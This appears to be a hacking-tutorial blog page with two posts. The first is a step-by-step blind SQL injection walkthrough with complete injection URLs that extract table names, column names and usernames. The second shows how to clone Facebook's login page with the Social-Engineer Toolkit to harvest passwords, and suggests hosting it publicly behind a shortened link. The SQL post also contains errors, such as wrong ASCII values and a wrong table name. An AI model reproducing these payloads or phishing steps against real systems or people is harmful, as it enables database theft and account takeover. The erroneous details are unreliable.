RN-QQHFzQYtPGkUCfyu8eve2qf0

Thursday, 19 February 2015

Blind SQL Injection

0 comments
Only proceed if you know SQL Injection basics. If not, read these posts first-

What we know so far

If you've read the above three tutorials, you know the basic theory of what SQL Injection is, you know how to carry it out using you web browser on a vulnerable website, and you know how to use SQLMap to automate some of the process.

Now, for revision's sake, what we did in the Manual SQL injection tutorial was-
  1. Found a potentially vulnerable website (http://testphp.vulnweb.com)
  2. Used the asterisk  ( ' ) to verify vulnerability.
  3. Found out the number of rows and columns by making some small changes to the URL (which eventually changes the query that is executed on the server)
  4. We then obtained names of tables, their columns, and finally extracted data.
However, it is worth noting that the website was intentionally left vulnerable, and most often the flaws in security aren't this obvious. In our case, the website was willingly responding to our queries with errors. This may not always be the case. As long as we can see the errors, we know we're going in the right direction. Errors tend to give us clues. However, some websites may choose to suppress the error messages. This make SQLi harder. This is known as Blind SQL Injection.



What I didn't tell you

I explained in subtle details what each and every step did. However, I did not explain the motive behind each step. (I gave a rough idea in the Sql injection basics post)
The purpose of the asterisk ( ' ) was to find out how the server handles bad inputs. If it has some mechanisms for sanitizing or escaping these dangerous characters, then we would not see any error in output.

Now this is not intended to be a theoretical post. While the SQL Injections basics post was for total beginners, I am linking a SQL Injection post appropriate for anyone who has carried out the classical SQL Injection attack, which we did in the manual SQL injection attack post, and is ready for blink SQL Injection.

Intermediate level sql injection (Wikipedia had great theory on SQLi, so I cropped the important bits for a hacker's point of view and posted it here)

SQL Injection example with explanation (This post isn't very useful for actual hacking, but explains concepts very well with examples. PS: This is an external link. Since their content is not licensed under creative commons, I couldn't simply crop the important part and put it here, so you have to go to their website)

PS: The posts in the beginning of the tutorial are mandatory, these are optional reads. You may choose to skip these and come back later and read whenever you're free. Now we'll get started.

Finding a suitable website 

We now have to find a website which is vulnerable to SQL Injection, but does not show error messages. Basically, a site which can be hacked into but not using classical attacks. The site will not give any obvious responses to our attacks. This is why it is called a blind SQL Injection. It is hard to know whether we're doing it right or not.

Now there's a problem. Blind SQLi is quite time consuming. One first tried the classical attacks, and if they fail, then only they proceed to blind SQLi. I can't find a website which wouldn't mind being attacked, and exposed in public. So I'll have to use the same old testphp.vulnweb.com website. The URL we're going to attack is vulnerable to classical SQLi. However, we're going to assume that it's not, and attack it without using any of the methods we used in the previous SQLi tutorial. That being said, blind SQLi involves a lot of guessing, and the fact that I can use union based sql injection (classical injection that we did already) to find out table names, etc. makes it much easier for me to write the tutorial. Now we'll begin-

Finding out if target is vulnerable

Our target in this attack is -
http://testphp.vulnweb.com/listproducts.php?cat=2
Now the first take is to find out whether the target is vulnerable or not. Ideally, one would add an asterisk to find whether the target is vulnerable to classical injection. If not, then only should he/she proceed to blind SQLi. In our case, the target is indeed vulnerable to classical injection (since we see an error when we append an asterisk ' to the url). But for the sake of learning, we will ignore this fact and proceed with Blind SQLi. We will from now assume that there will be no errors whatsoever to aid our attack.

Now we have a problem

If the site won't return any errors, how can we find out if it's vulnerable? The solution is a pretty elegant one. This attack is based on boolean algebra. It's pretty intuitive and surprisingly simple.

The basic concept is as simple as the following :-
(true and true ) = true
When we specify 1=2
(true and false) = false
Also,
1=1 is true
1=2 is false

Now look at the statements-
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2
When we specify 1=1
Now the basic condition for determining whether the website is vulnerable to injection is to find out whether it executes the code we send it, or just ignores it. Earlier we used asterisk and the error suggested that our code was indeed processed. This time errors are not shown, so we use logic. In the first URL, the condition evaluates as true, and page is displayed as usual. Basically we're asking the table to show the page if it's 'category is 2' and '1 is the same as 1'. Both the conditions are fulfilled and page is shown. In the second case, 'category is 2' but '1 is not the same as 2', so the conditions simplify to false, and nothing is shown. What can we conclude? We conclude that the code we add to the URL is processed by the DBMS software (usually MySQL).


Finding other details

Now the process of finding out other details would be identical. We now know that if we type a true statement after and, then the page is displayed, else it's not. We can simply keep guessing stuff till we are right, in which case the condition is true, and page is displayed.

Finding version

Now it is very impractical to expect that we'll be easily able to guess the complete version, the pic will show you why (it's from the manual SQLi tutorial)
However, we don't need to know the exact version. Finding out whether it's MySQL version 4 or 5 is sufficient. For that, we can extract a substring from the version, which in this case, is simply the first character of the version. This can be done using substr(@@version,1,1). @@version returns the whole 5.1.6.9........ thing but 1,1 extracts the first character. We can then equate it with 4 or 5 to find out which version the website is using.
PS: I put this screenshot here to explain why we used substring, we didn't use the fact that we know the version of SQL already in any way. Even if you have no clue about the version (which is what is going to happen in real life scenario), you can find out the version by looking at the output of the following URLs. You can read more about Substring clause here.
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=4
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=5 

As you might have guessed, the version is 5 since it did not return a blank page. I hope you've started to see the pattern now.

Finding tables, columns and records

We will now have to guess the table names. The idea is to start with some common ones, and you'll most probably get a few tables. Most databases have a table for users, admin, login, employees,  etc. Now I'll demonstrate a few failures and successes and then we'll proceed. There is another alternate in which we can go character by character. There is a third method where we can use ASCII codes too.

Problem : Since the website does not display output, how do we find out the table names?
Solution : We can do what we've been doing so far, ask the website if table name = X , where X is our guess at table name. We will keep repeating until the condition returns true, i.e., the exists a table with the name that we guessed.

Problem : This is just a concept, how do we put it to action? How do we ask the database to return true if we guess the right table name? Can't be as simple as 1=1....
Solution :  We will use the select query. select 1 from X is going to be our query. If there is a table called X, then output will be one. Now we can use this output to generate a condition. (select 1 from X) = 1. If X table exists, then output will be 1. Since 1=1, condition will be true. If X does not exist, condition will be false.

Problem : What if we can't guess the table name?
Solution : We have 2 more alternatives. First is to use substr, as we did while finding version, to find out the table name character by character. Basically, we will ask the table if first character of table name is a. If not, we'll try b, c, d, etc. After that we'll proceed to second character. This way, we are guaranteed to find out the table name. (I hope you are getting a good idea why it's called blind SQLi)

Alternate Solution : We can use ASCII values to speed up the above solution. Basically, we can't directly compare characters like number. 6 is greater than 5, but b is not greater than a. Characters can't be compared like that. However, their ASCII forms can, since each alphabet corresponds to a number in ASCII. We can use this fact to ask the table if the first letter of the table name is more than P or less than it. This way, if the table says it's more, we don't have to check the alphabets before P, and Vice Versa. [This is just the concept, I'll demonstrate how it's to be done].

Now, for finding table name, I'll stick to simple guessing. The remaining 2 concepts will be demonstrated while finding column name and data value respectively.

Limit Clause : It must be noted that select query returns all the results from a given table, not just the first. For example, if a table has 500 records, and you ask the table for records where first table is 'a', it will return not one, but all the records with first letter 'a'. This is not what we want. To avoid this, we use limit clause.
Here is a short summary, read the complete section on Limit clause here.
Let’s see what the offset and count mean in the LIMIT clause:
  • The offset specifies the offset of the first row to return. The offset of the first row is 0, not 1.
  • The count specifies maximum number of rows to return.
I've covered all the concepts, now I hope you can read the commands and figure out what they mean.

Table name

Now we'll try to guess table name
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1
The error message will not be displayed in real blind SQLi. We will see a blank output, like we did earlier.

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1 
The page loads fine. This means there is indeed a table named users.
Now, if you are trying this attack on some other site, then you might not be able to guess the name if it isn't as obvious as users. So I recommend you keep reading and try again once you know how to guess one letter at a time (for column name) and how to use ASCII (for obtaining data).
PS: Here limit is not required since we guessed the whole table name at once and not character by character.

Column Name

1. Guessing the whole name

Now, there are 2 ways to get column name. The first way is to guess the complete column name, as we did for table name. 
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1 
The page displays normally for uname, so we know that a column called uname exists. For practice, you can also replace uname with pass,cc,address,email,name,phone,cart1. All these columns also exist in the table.

2. Guessing character by character using equality (=)


The second way is to go character by character. There are 2 ways to do this too. One is to guess the character directly, second is to find the range in which the character lies, and then guess it. I'll show both. This method requires information_schema, i.e. it will work for MySQL 5 series but not 4.
Here I have directly used 117. You may (and in reality will have to) try all possible ascii codes (65 to 122 for A to z)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
 PS: I tried to see if MySQL automatically converts the character to their ASCII value, and found out that it does indeed. So one may skim the query a bit and finally it will be like. So basically, contrary to what I said earlier, b is indeed bigger than a. Here is the same code with u instead of 117

http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u' 
165 is ASCII code for u. We know the column name is uname, so the page should display fine, which it does. You can try values other than 85 and see what happens. Also, 7573657273 is hex code for users (0x indicates hex). Remember, you can do the same for tables by making a few changes. Firstly replaced the bold column in above code with table. A few more changes are necessary too. Here's what the final code looks like :-


3. Guessing character using > or < followed by =

It's almost the same as we did before
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100
We now know it's >  100 (100 is 'd'), since the page displayed properly
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120
But it is less than 120 ('x'), since page doesn't display well.
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110
Greater than 110 ('n')
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115
Greater than 115 ('s'). Now only 4 possibilities remain, 116, 117, 118, 119, 120 (it is greater than 116 but not greater than 120). We can now try all 5 one by one. I have also highlighted the ascii part in above queries. You can remove the bold text and replace the numbers with characters in single quotes ('a', 'b', etc., also provided in bold below the code)
Finally you'll get success at-
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

However, we only know the first letter of the column name. To find the second letter, replace the red text from 1 to 2. The code becomes-
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117
It will not display properly since the second character in uname is n. (ascii 110)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110
You can use the > < = method here too. Everything other than 2 will be the same.

Extracting data

Now while what you did so far wasn't very swift either, what you're going to do now is going to be terribly slow. You have to guess the data as well. Each and everything needs to be guessed. 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120
Page doesn't display properly for 120 (x)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116
So the first letter is 't'. For second character (without ascii this time)
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a' 
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'  
It lies between 'b' and 'f'
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'
 Keep trying
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e'
Second character is 'e'. You may proceed to do so until you find the complete uname. You can ensure that a character was the last in the word by using the following command.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0
 If there is any other character left, >0 will always return true.

This was all there is to blind SQL Injection. In the next post I'll introduce you to some tools which do the task for you. To be honest, no one will call you a noob if you use scripts/ tools to automate blind SQLi. It is a really time consuming process and it is not required to waste so much time when you can write a script to do all the guesswork for you.





Monday, 26 May 2014

Social Engineering Toolkit - Kali : Credential Harvestor : Hack Facebook

0 comments

Hacking Facebook

In the previous post I've discussed how not to hack Facebook. Here we will discuss how to hack Facebook. This tutorial is meant for enhancing you networking skills, as well as to develop understanding of how fake web pages are created, so that you can protect yourself from such attacks. Don't use this information to hack someone's account, or you'll run the risk of getting into legal troubles. If you haven't yet read the previous post, you should. It might not be very enlightening in terms of technical details, but it quite enjoyable and will provide you with a background of what we are looking at.

Social Engineering Toolkit

Humans are the weakest link in any security system ~Shashwat (That'll be me)
If you have read the previous post, then you know what I'm talking about. Social engineering toolkit does not exploit vulnerability in the mechanism of any service. It exploits the weakness in the human element of security. Some official words from the official guys before we move on to the actual hacking

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests and supported heavily within the security community.

Kali Linux

I don't feel the need to mention it, but I'll still do it. You need Kali Linux to proceed with this tutorial. Check out the top of the page and see the "Kali Linux complete" tutorial. Better yet, I'll link it here- Kali Linux : What it is and how to install

Se-toolkit

Start Kali Linux. In a console/terminal type se-toolkit.
Something like this will show up

root@kali:~# se-toolkit
[-] New set_config.py file generated on: 2014-05-26 08:26:33.526119
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2014-05-26 08:26:33.526119
[*] SET is using the new config, no need to restart

                  _______________________________
                 /   _____/\_   _____/\__    ___/
                 \_____  \  |    __)_   |    |
                 /        \ |        \  |    |
                /_______  //_______  /  |____|
                        \/         \/          
  [---]        The Social-Engineer Toolkit (SET)         [---]      
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]                 Version: 4.3.9                   [---]
  [---]              Codename: 'Turbulence'              [---]
  [---]         Follow us on Twitter: @trustedsec        [---]
  [---]         Follow me on Twitter: @dave_rel1k        [---]
  [---]       Homepage: https://www.trustedsec.com       [---]
     Welcome to the Social-Engineer Toolkit (SET). The one
      stop shop for all of your social-engineering needs.
 
      Join us on irc.freenode.net in channel #setoolkit
  The Social-Engineer Toolkit is a product of TrustedSec.
           Visit: https://www.trustedsec.com
 Select from the menu:
   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About
  99) Exit the Social-Engineer Toolkit
set> 
Now type the following and press enter.
1 [enter] 2 [enter] 3 [enter]

Explanation

  • 1 selects social engineering attacks. Obvious choice if you read the other options from 1 to 9 (and 99 for exit)
  • The 2 selects Website Attack Vectors. Not that obvious.  The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
  • Then, the 3 selects Credential Harvestor.  The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.
Now you'll be seeing something like this-

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.
 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.
 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   1) Web Templates
   2) Site Cloner
   3) Custom Import
  99) Return to Webattack Menu

Type 2 to select site cloner.

Find your IP

On a new terminal type ifconfig. This will give you your ipv4 address, which is what you are looking for


Back to se-toolkit

 Now it'll ask you to specify the IP to which the data is supposed to be sent to. That'll be your IP address. Since this is your internal IP address (i.e. local IP), the fake facebook page will work only for computers connected with your LAN.

Now it'll ask for the page to be cloned. Enter https://www.facebook.com/.

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.154.133
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https://www.facebook.com/

Now in your browser on Kali Linux, enter your IP. It will display facebook login page. Enter any info and press login. You will get the information in se-toolkit. If you are using VMWare or virtualbox, then you can try and enter the IP on the browsers there. It will work.

Live demonstration

To make sure that the demonstration is not just a repetition of what you already know, I have decided to clone the login page of facebook, instead of homepage. It will be a tad bit different. Here is a screenshot of what I did.
The IP address is my internal address from ifconfig, which comes out to be 192.168.154.133. The cloned page is https://www.facebook.com/login.php. Now we will try to see if this credential harvestor works.

On the Kali Linux Machine itself


Entering the IP in browser shows you the fake login page. Also, se-toolkit registers the visit and says 192.168.154.133 - - [27/May/2014 02:32:32] "GET / HTTP/1.1" 200 -
Now if we enter something in the field, it also shows up on se-toolkit. I entered 'hackingwithkalilinux' in username field and 'password' in password field. This is what se-toolkit shows-
POSSIBLE USERNAME FIELD FOUND: email=hackingwithkalilinux
POSSIBLE PASSWORD FIELD FOUND: pass=password
Also note that se-toolkit might keeping dumping more stuff in the console, most of which is not important for the time being.

On Windows 8 machine (host)

Now I'm running Kali on a virtual machine. Windows 8 is the host machine, and we might want to check if it works on Windows 8. Also, we would also like to see if modern browsers are able to observe anything wrong with the page, and if the firewall stops the data flow.
I entered windows8host and password2 and pressed the login button. This is what I got. Also, as I was logged in to Facebook with my personal account, the fake page redirected me to facebook.
POSSIBLE USERNAME FIELD FOUND: email=windows8host
POSSIBLE PASSWORD FIELD FOUND: pass=password2

Conclusion : This method pretty much works well over LAN.

Make it work over internet

To make the technique work over internet, you will need to use your public IP instead of private. Search google for what is my IP to find you public IP. Then use it. You can use tinyurl or something to make the url appear legitimate. Also, port forwarding might need to be enabled, as your router might block traffic on port 80. Firewall can also cause troubles. While this tutorial was nothing more than - se-toolkit 1 2 3 [your IP] [facebook.com], the next post on getting your credential harvestor on the internet will make the tutorial complete and useful in practical sense. Next tutorial will help you make your fake login page accessible over the internet. [Coming Soon] There you go -  http://www.kalitutorials.net/2014/05/credential-harvestor-port-forwarding.html